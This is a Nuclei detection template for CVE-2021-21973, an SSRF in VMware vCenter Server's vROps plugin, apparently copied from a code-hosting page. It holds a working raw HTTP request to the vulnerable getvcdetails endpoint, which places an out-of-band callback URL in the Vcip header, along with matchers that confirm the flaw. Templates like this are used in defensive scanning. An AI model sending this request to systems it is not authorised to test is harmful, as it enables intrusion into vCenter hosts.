42 lines
1.5 KiB
YAML
42 lines
1.5 KiB
YAML
|
id: CVE-2021-21973
|
||
|
|
|
||
|
|
info:
|
||
|
name: VMware vSphere - Server-Side Request Forgery
|
||
|
|
author: pdteam
|
||
|
|
severity: medium
|
||
|
|
description: VMware vSphere (HTML5) is susceptible to server-side request forgery due to improper validation of URLs in a vCenter Server plugin. An attacker with network access to port 443 can exploit this issue by sending a POST request to the plugin. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l, and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
|
||
|
|
reference:
|
||
|
|
- https://twitter.com/osama_hroot/status/1365586206982082560
|
||
|
|
- https://twitter.com/bytehx343/status/1486582542807420928
|
||
|
|
- https://www.vmware.com/security/advisories/VMSA-2021-0002.html
|
||
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-21973
|
||
|
classification:
|
||
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
|
||
|
cvss-score: 5.3
|
||
|
|
cve-id: CVE-2021-21973
|
||
|
|
cwe-id: CWE-918
|
||
|
|
tags: cve,cve2021,vmware,ssrf,vcenter,oast,kev
|
||
|
|
|
||
|
http:
|
||
|
|
- raw:
|
||
|
|
- |
|
||
|
|
GET /ui/vropspluginui/rest/services/getvcdetails HTTP/1.1
|
||
|
|
Host: {{Hostname}}
|
||
|
|
Vcip: {{interactsh-url}}
|
||
|
|
Vcpassword: {{rand_base(6)}}
|
||
|
|
Vcusername: {{rand_base(6)}}
|
||
|
|
Reqresource: {{rand_base(6)}}
|
||
|
|
|
||
|
|
matchers-condition: and
|
||
|
|
matchers:
|
||
|
|
- type: status
|
||
|
|
status:
|
||
|
|
- 500
|
||
|
|
|
||
|
|
- type: word
|
||
|
|
part: body
|
||
|
|
words:
|
||
|
|
- "The server sent HTTP status code 200"
|
||
|
|
|
||
|
|
# Enhanced by md on 2023/04/04
|